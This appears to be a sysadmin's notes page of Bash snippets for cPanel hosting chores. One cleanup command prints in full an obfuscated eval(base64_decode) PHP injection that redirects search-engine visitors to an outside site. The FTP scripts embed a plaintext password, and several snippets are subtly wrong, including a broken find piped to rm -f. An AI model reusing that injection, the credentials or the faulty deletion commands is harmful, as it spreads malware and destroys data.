Bash scripting

Reference

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http://en.wikibooks.org/wiki/Bourne_Shell_Scripting/Appendix_C:_Quick_Reference

#!/bin/bash    =   Shebang to that specifies the interpreter or program to be used to execute the script 

echo "print text"

$X                          = Read the value of X

if [ -n $X ]; then # -n tests to see if the argument is non empty

Loops

while [ $X -le 20 ]                     // ( -le  is equel )    ( -lt Less than)

do

       touch $X.html

        X=$((X+1))                     // (or) let X=X+1

done

 for i in $( ls ); do                                   //`seq 1 10`   read 1 to 10 numbers   

     echo item: $i

 done

COUNTER=20

        until [  $COUNTER -lt 10 ]; do

            echo COUNTER $COUNTER

            let COUNTER-=1

        done

Script to cut word from a line

ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 >/tmp/usernames

(or)

ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 | uniq >/tmp/usernames          (uniq means uniqueness)

Script to restore pakage with help from the above

for i in `cat /tmp/usernames ` ; do echo "/scripts/restorepkg $i" ; done

Example script to rename "cpmove-bnjjj.tar.gz" like file to "cpmove-bnjjj.jpg"

ls | grep cpmove | grep 'tar.gz' | cut -d'-' -f2 | cut -d. -f1 >/tmp/usernames

for i in `cat /tmp/usernames ` ; do mv cpmove-$i.* cpmove-$i.jpg; done

script to cut lines which contain the word FOUND

for i in 'cat test'; do grep FOUND $i > rr; done

Script to restart a service

/usr/bin/pgrep named

if [ $? -ne 0 ]

then

/etc/init.d/named restart

fi

Script to add spf record for all accounts

---------------------------------------------

cd /var/named

ls *.db > test

cat test | grep .db | cut -d'.' -f1,2 > k

for i in `cat k` ; do echo $i. IN TXT "v=spf1 ~all" >> $i.db ; done

Sample script for create multiple cpanel accounts

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#!/bin/bash

for i in `cat domains`;

do

echo "account $i creating"

echo " enter the account username:"

read r;

/scripts/createacct $i $r

 echo "Account $r created";

done

Script to recursively search the keaywords in a file and find the exact file location

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#!/bin/bash

cat /dev/null > result;

for i in `cat file`;

do echo $i >> result; echo ===================== >> result;

s=`pwd`

p=`grep -irl $i *`

for j in $p;

do

h=${s}/${p}

echo $h >> result;

done

done

Script to correct cPanel users and files ownership

-------------------------------------------------------------------------------

for i  in `cat /etc/trueuserdomains   | awk ‘{print $2}’`

do

chown $i.$i /home/$i -R;

chown $i.mail /home/$i/etc -R;

chown $i.nobody /home/$i/public_html;

done;

Script to move specific files from different folders to a specific Folder

---------------------------------------------------------------------------------------- For Hussin

#!/bin/bash

for ((i=12; i <= 180; i++))

do

echo recup_dir.$i >> test1

done

for j in `cat test1`;

do

cd /vz/restore

cd $j

ls | grep *.txt | xargs mv *.txt ../texts/

ls | grep *.tar | xargs mv *.tar ../tar-files

ls | grep *.gz | xargs mv *.gz ../gz-files

ls | grep *.*.gz | xargs mv *.*.gz ../gz-files

ls | grep *.tar.gz | xargs mv *.tar.gz ../tar.gz/

ls | grep *.html | xargs mv *.html ../HTML

ls | grep *.js | xargs mv *.js ../js-files

ls | grep *.php | xargs mv *.php ../PHP-files

ls | grep public_html | xargs mv public_html ../PUBLIC-folders

ls | grep log | xargs mv *grep* ../logs

ls | grep *.7z | xargs mv *.7z ../7z-files

ls | grep *.zip | xargs mv *.zip ../zip-files

done

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Script to change contents from a file

===================================

Example: 

sed -i 's/To: root/To: csf@skynethosting.net/g' *.txt  

Find and replace all contents after a perticular keyword

==========================================

find /var/www/html/ -name "index.html" -exec sed -i '/<\/html>/q0' {} \;

find . -name "index.html" -exec sed -ie '/<\/html>/q0' {} \; ; [ $? = 0 ] && echo "Succesfully replaced and backup all index files with an extension of back"

Script to rsync some data if no other backup process are running

#!/bin/bash

PROCESS="/usr/bin/rsync -avz -e "ssh" /home/mybloghu root@65.98.23.18:/home"

PGREP="/usr/bin/pgrep"

RSYNC="rsync"

$PGREP ${RSYNC}

if [ $? -ne 0 ]

then

$PROCESS

fi

Script to remove a big hack script

=========================

for i in `cat /tmp/result.txt`; do sed -i '1s#eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbmFtZXN0aS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9"));##g' $i ; done

Script to find cPanel account and its corresponding IP address

cat /etc/userdatadomains | perl -pi -e "s/^.*? //," | perl -pi -e "s/==.*==6/ 6/," | perl -pi -e "s/:80==//," | sort | uniq 

cPanel script to assign IP via shell:  /usr/local/cpanel/bin/setsiteip -u  username IPaddress

Script to check cPanel CPU and Memory usage for a specific user

domain="thedomain.com"; for i in `seq 1 7 `; do let i=$i+1 ; let  k=$i-1 ; let s="$(date +%s) - (k-1)*86400"; let t="$(date +%s) - (k-2)*86400"; echo `date -Idate -d @$s`; /usr/local/cpanel/bin/dcpumonview `date -d @$s +%s` `date -d @$t +%s` | sed -r -e 's@^<tr bgcolor=#[[:xdigit:]]+><td>(.*)</td><td>(.*)</td><td>(.*)</td><td>(.*)</td><td>(.*)</td></tr>$@Account: \1\tDomain: \2\tCPU: \3\tMem: \4\tMySQL: \5@' -e 's@^<tr><td>Top Process</td><td>(.*)</td><td colspan=3>(.*)</td></tr>$@\1 - \2@' | grep $domain -A3 ; done

Find and remove files which is older than 1year

find ./ ctime +365 | xargs rm -f

Script to automate FTP upload and Session generation

Script 1:

#!/bin/bash

HOST="54.175.55.252"

USER="sherinftp"

PASSWORD="d3fault123#"

DESTINATION="$1"

ALL_FILES="${@:2}"

touch $ALL_FILES

ftp -inv $HOST <<EOF

user $USER $PASSWORD

cd $DESTINATION

mput $ALL_FILES

bye

EOF

#Note: We can create multiple test files and upload them to the FTP server using single click. Please find the usage below,

#step 3: ./ftpuploadscript destination newfile1 newfile1 newfile2 newfile3 newfile4 newfile5 

Script 2:

#!/bin/bash

HOST="54.175.55.252"

USER="sherinftp"

PASSWORD="d3fault123#"

DESTINATION="$1"

read -p "Number of Files: " filenum

read -p "File size:" filesize

read -p "File Prefix:" fileprefix

for (( i=1; i<=$filenum; i++ ))

do

dd if=/dev/zero of=$fileprefix.$i  bs=$filesize count=1

ftp -inv $HOST <<EOF

user $USER $PASSWORD

cd $DESTINATION

mput $fileprefix.$i

bye

EOF

done

#Note: Using this script we can input number and size of files that we needs to be try uploading to the FTP server

#step 3: ./ftptestscript destinationdirectory (For upload to default ftp user directory use "./ftptestscript ."

Script 3: Generate Sessions

#!/bin/bash

HOST="54.175.55.252"

USER="sherinftp"

PASSWORD="d3fault123#"

read -p "Number of Sessions: " sessionnum

for (( i=1; i<=$sessionnum; i++ ))

do

ftp -inv $HOST <<EOF

user $USER $PASSWORD

bye

EOF

done

DIsk Usage Monitoring

#!/bin/bash

# Set the threshold limit for disk usage in percentage

threshold=90

# Define an array of partitions to monitor

partitions=(

    "/"

    "/var"

    "/home"

    # Add more partitions as needed

)

# Define an associative array of log directories to monitor with corresponding days to keep

declare -A log_directories=(

    ["/var/log"]="7"

    ["/var/www/logs"]="14"

    # Add more log directories as needed

)

# Set email parameters

recipient="your_email@example.com"

subject="Disk Usage Alert"

body="Disk usage is above threshold. Removed old log files."

# Function to remove old log files

remove_old_logs() {

    local log_dir="$1"

    local days_to_keep="$2"

    echo "Removing old log files in $log_dir..."

    find "$log_dir" -type f -name "*.log" -mtime +$days_to_keep -exec rm -f {} \;

    echo "Old log files removed in $log_dir."

}

# Function to send email notification

send_email_notification() {

    echo "$body" | mail -s "$subject" "$recipient"

}

# Iterate through partitions

for partition in "${partitions[@]}"; do

    # Get current disk usage percentage

    disk_usage=$(df -h --output=pcent "$partition" | sed '1d;s/[^0-9]*//g')

    # Check if disk usage exceeds the threshold limit

    if [ $disk_usage -ge $threshold ]; then

        echo "Disk usage for partition $partition is above threshold."

        # Remove old log files for partition

        for log_dir in "${!log_directories[@]}"; do

            if [[ "$log_dir" == "$partition"* ]]; then

                remove_old_logs "$log_dir" "${log_directories[$log_dir]}"

            fi

        done

        # Send email notification

        send_email_notification

    else

        echo "Disk usage for partition $partition is below threshold."

    fi

done